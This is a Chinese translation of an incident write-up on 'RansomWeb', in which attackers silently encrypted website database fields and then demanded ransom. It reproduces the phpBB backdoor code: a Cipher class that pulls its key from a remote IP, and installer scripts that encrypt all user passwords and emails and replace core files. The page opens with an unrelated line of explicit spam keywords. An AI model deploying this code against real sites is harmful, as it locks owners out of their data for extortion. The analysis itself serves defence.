自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

RansomWeb:一種新興的web安全威脅

安全 應用安全
目前越來越多的人成為勒索軟件的受害者,惡意軟件會加密你的計算機直到你愿意交保護費,最新的趨勢發(fā)現(xiàn),網(wǎng)站已經(jīng)成為犯罪分子的攻擊目標,犯罪軟件會加密你的數(shù)據(jù)庫直到你付錢。

0x00 前言

目前越來越多的人成為勒索軟件的受害者,惡意軟件會加密你的計算機直到你愿意交保護費,最新的趨勢發(fā)現(xiàn),網(wǎng)站已經(jīng)成為犯罪分子的攻擊目標,犯罪軟件會加密你的數(shù)據(jù)庫直到你付錢。

RansomWeb:一種新興的web安全威脅

0x01 守候

2014年12月我們的安全專家在一個理財網(wǎng)站上發(fā)現(xiàn)一個很有趣的案例:網(wǎng)站一直顯示無法連接數(shù)據(jù)庫,而網(wǎng)站管理員收到一封勒索郵件,“給錢,然后我們會給你數(shù)據(jù)庫解鎖”。

遇到這種類型攻擊的網(wǎng)站都是一些小型站點,但是公司的重點業(yè)務運營都是圍繞網(wǎng)站進行了,停了分分鐘幾萬,chinese一點地話來說,“互聯(lián)網(wǎng)公司”。

我們認真的進行了調查,發(fā)現(xiàn)一下幾點特點:

1 web應用程序在半年前被入侵,攻擊者修改了一些需要進行數(shù)據(jù)庫操作的腳本,在插入數(shù)據(jù)時對數(shù)據(jù)進行加密,在查詢數(shù)據(jù)時對數(shù)據(jù)進行解密。整個過程 用戶沒有感到任何異樣。

2 只對關鍵的數(shù)據(jù)庫表被進行加密,將對網(wǎng)站性能的影響降到了最低,并且加密了之前被存入的數(shù)據(jù)庫記錄。

3 加密密鑰被儲存在遠程服務器上,只能通過https訪問(一定可能性是為了防止被攔截)

4 在這6個月,黑客默默地守候著網(wǎng)站,當一些升級和運維行為時對服務器進行備份。

5 在xxx天后,黑客關閉遠程服務器,同時網(wǎng)站停止服務,and收到一封飽含著愛意的惡意郵件。

0x02 另一個案例

我們一開始相信這是一個針對部分公司進行的apt行為,屬于一個特殊的個別案例,不過后來發(fā)現(xiàn)我們錯了,上周我們又發(fā)現(xiàn)一個相似的例子,來自我們的另一個客戶。他收到了一個勒索郵件……在他的phpbb論壇失靈之后。對于客戶來說這個phpBB是一個非常重要的平臺,版本還是2014年11月25日發(fā)布的phpBB 3.1.2 最新版。

最早問題來之于當時沒有一個用戶可以登錄論壇,包括版主和管理員,用戶的認證功能已經(jīng)失效,在我們的調查下發(fā)現(xiàn),登錄時需要的密碼和郵箱驗證在插入數(shù)據(jù)庫的時候經(jīng)過了一次加密。

我們發(fā)現(xiàn)下列文件遭到了修改。

1. factory.php

函數(shù)sql_fetchrow()遭到了修改,在進行sql查詢

  1. $result = $this->get_driver()->sql_fetchrow($query_id); 

password 和 email字段會經(jīng)過一次解密。

  1. if(isset($result['user_password'])){   
  2.  $result['user_password'] = $cipher->decrypt($result['user_password']);   
  3. }   
  4. if(isset($result['user_email'])){   
  5.  $result['user_email'] = $cipher->decrypt($result['user_email']);   

2. functions_user.php

函數(shù) user_add 經(jīng)過修改之后 添加數(shù)據(jù)時會被加密

  1. $sql_ary = array(   
  2.  'username'=>$user_row['username'],   
  3.  'username_clean' => $username_clean,   
  4.  'user_password' => (isset($user_row['user_password']))?   
  5.     $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),   
  6.  'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),   
  7.  'user_email_hash'=> phpbb_email_hash($user_row['user_email']),   
  8.  'group_id' => $user_row['group_id'],   
  9.  'user_type' => $user_row['user_type'],   
  10. ); 

3. cp_activate.php

main 函數(shù)遭到修改

  1. $sql_ary = array(   
  2.  'user_actkey' => '',   
  3.  'user_password' => $cipher->encrypt($user_row['user_newpasswd']),   
  4.  'user_newpasswd' => '',   
  5.  'user_login_attempts' => 0,   
  6. ); 

4. ucp_profile.php

main函數(shù)

  1. if (sizeof($sql_ary))   
  2. {   
  3.  $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);   
  4.  $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);  
  5.  $sql = 'UPDATE ' . USERS_TABLE . '   
  6.   SET ' . $db->sql_build_array('UPDATE', $sql_ary) . ' 
  7.   WHERE user_id = ' . $user->data['user_id'];   
  8.  $db->sql_query($sql); 

5. config.php

  1. class Cipher {   
  2.  private $securekey, $iv;   
  3.  function __construct($textkey) {   
  4.   $this->securekey = hash('sha256',$textkey,TRUE);   
  5.   $this->iv = mcrypt_create_iv(32);   
  6.  }   
  7.  function encrypt($input) {   
  8.   return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,   
  9.        $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));   
  10.  }   
  11.  function decrypt($input) {   
  12.   return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,   
  13.        $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));   
  14.  }   
  15. }   
  16. $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/   
  17. sdfds90f8d9s0f8d0f89.txt');   
  18. $cipher=new Cipher($key); 

一個值得注意的是,我們發(fā)現(xiàn)黑客留下的兩個可以自動化安裝后門的腳本,可以對任意phpbb論壇植入后門程序,只需要幾下點擊,第一個修改 “config.php” 添加 cipher類在腳本中,其中可以看到 儲存在遠程服務器上的密鑰。

安裝文件

  1. <?php   
  2. $file = '../config.php';   
  3. $txt = "\n".'class Cipher {   
  4.  private $securekey$iv;   
  5.  function __construct($textkey) {   
  6.   $this->securekey = hash(\'sha256\',$textkey,TRUE);   
  7.   $this->iv = mcrypt_create_iv(32);   
  8.  }   
  9.  function encrypt($input) {   
  10.   return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,   
  11.      $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));   
  12.   }   
  13.  function decrypt($input) {   
  14.   return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,   
  15.      $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));   
  16.  }   
  17. }   
  18. $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/   
  19. sdfds90f8d9s0f8d0f89.txt\');   
  20. $cipher=new Cipher($key);'."\n";   
  21. if( FALSE !== file_put_contents($file$txt, FILE_APPEND | LOCK_EX)){   
  22.  echo "DONE!";   
  23. }; 

第二個安裝文件加密所有用戶的email和password,并替換上述文件。

  1. <?php   
  2. define('IN_PHPBB', true);   
  3. $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';  
  4. $phpEx = substr(strrchr(__FILE__, '.'), 1);   
  5. include($phpbb_root_path . 'common.' . $phpEx);   
  6. include($phpbb_root_path . 'includes/functions_display.' . $phpEx);   
  7. $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;   
  8. $result = $db->sql_query($sql);   
  9. while ($row = $db->sql_fetchrow($result))   
  10. {   
  11.  $sql2 = 'UPDATE ' . USERS_TABLE . '   
  12.   SET   
  13.    user_password = "'.$cipher->encrypt($row['user_password']).'",   
  14.    user_email = "'.$cipher->encrypt($row['user_email']).'" 
  15.   WHERE user_iduser_id = '.$row['user_id'];   
  16.  $result2 = $db->sql_query($sql2);   
  17. }   
  18. echo "SQL UPDATED!<br>";   
  19. copy('factory.php', '../phpbb/db/driver/factory.php');   
  20. copy('functions_user.php', '../includes/functions_user.php');   
  21. copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');   
  22. copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');   
  23. echo "FILES UPDATED!”; 

接著攻擊者等待兩個月,就從遠程服務器中取出密鑰。

0x03 結論

我們稱這種攻擊為RansomWeb , 我們做了一個簡要的分析:

RansomWeb的特點

1、與ddos不同,這種攻擊會對網(wǎng)站的可用性造成長時間的巨大影響。

2、不僅可以用于勒索,還可以用于其他很多用途。

3、不給錢想從攻擊中恢復很困難。

RansomWeb的弱點

1、做下文件監(jiān)控就好了

2、在不對網(wǎng)站造成影響的情況下加密極其困難。

3、定期檢測更新

原文地址:https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html

責任編輯:藍雨淚 來源: 烏云知識庫
相關推薦

2024-04-07 13:24:47

2020-05-06 11:29:29

UX設計釣魚攻擊用戶體驗

2020-10-10 11:34:47

安全威脅

2024-04-10 12:33:58

2022-05-09 08:54:54

EDoS網(wǎng)絡攻擊云安全

2023-10-07 12:03:16

2022-12-26 08:00:00

2015-04-14 11:36:14

2021-09-10 09:09:58

ARTIF威脅智能框架安全工具

2022-04-06 12:00:46

HEAT安全架構新威脅

2020-04-26 09:17:08

哈希傳遞身份驗證攻擊

2018-12-14 14:30:12

安全檢測布式系測試

2019-08-27 07:40:47

2022-02-20 09:46:17

僵尸網(wǎng)絡加密貨幣網(wǎng)絡安全

2012-10-26 11:37:12

2021-12-29 08:00:00

勒索軟件安全漏洞

2023-03-06 10:29:37

人工智能威脅

2020-12-23 10:10:23

Pythonweb代碼

2022-06-22 09:44:41

Python文件代碼

2022-07-07 10:33:27

Python姿勢代碼
點贊
收藏

51CTO技術棧公眾號